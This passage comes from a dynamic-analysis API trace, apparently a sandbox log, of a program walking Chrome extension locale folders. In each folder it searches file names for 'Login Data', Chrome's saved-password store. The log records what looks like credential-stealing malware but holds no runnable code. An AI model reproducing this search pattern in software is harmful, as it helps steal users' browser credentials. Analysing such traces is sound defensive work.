lpString2="..") returned 0 [0056.575] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.575] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.576] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.576] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.576] LocalFree (hMem=0x2dc508) returned 0x0 [0056.576] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.576] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.576] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.576] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.576] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.576] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.576] lstrlenA (lpString="\\") returned 1 [0056.576] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.576] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.576] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.576] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.576] lstrlenA (lpString="es") returned 2 [0056.576] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.576] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.576] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0056.576] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.576] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned 131 [0056.576] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned 131 [0056.576] lstrlenA (lpString="\\*.*") returned 4 [0056.576] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.576] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es" [0056.576] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*" [0056.576] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.576] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.576] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.576] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.576] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.576] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.576] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.576] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.576] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.576] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.576] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.576] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.576] lstrcmpiA (lpString1=".", lpString2="es_419") returned -1 [0056.576] lstrcmpiA (lpString1="..", lpString2="es_419") returned -1 [0056.576] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.576] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.576] lstrlenA (lpString="\\") returned 1 [0056.576] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.576] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.576] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.577] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.577] lstrlenA (lpString="es_419") returned 6 [0056.577] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc3f8 [0056.577] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.577] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0056.577] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.577] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned 135 [0056.577] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned 135 [0056.577] lstrlenA (lpString="\\*.*") returned 4 [0056.577] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2dc508 [0056.577] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0056.577] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*" [0056.577] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.577] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.577] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.577] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.577] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.577] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.577] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.577] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.577] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.577] LocalFree (hMem=0x2dc508) returned 0x0 [0056.577] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.577] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.577] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0056.577] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0056.577] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.577] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.577] lstrlenA (lpString="\\") returned 1 [0056.577] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.577] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.577] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.577] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.577] lstrlenA (lpString="et") returned 2 [0056.577] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.577] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.577] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0056.577] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.577] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned 131 [0056.577] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned 131 [0056.577] lstrlenA (lpString="\\*.*") returned 4 [0056.577] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.577] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0056.577] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*" [0056.577] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.578] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.578] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.578] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.578] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.578] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.578] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.578] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.578] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.578] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.578] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.578] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.578] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.578] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.578] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.578] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.578] lstrlenA (lpString="\\") returned 1 [0056.578] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.578] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.578] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.578] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.578] lstrlenA (lpString="fi") returned 2 [0056.578] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.578] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.578] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0056.578] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.578] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned 131 [0056.578] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned 131 [0056.578] lstrlenA (lpString="\\*.*") returned 4 [0056.578] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.578] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0056.578] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*" [0056.578] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.578] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.578] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.578] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.578] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.578] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.578] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.578] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.578] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.578] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.578] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.578] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.579] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.579] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.579] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.579] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 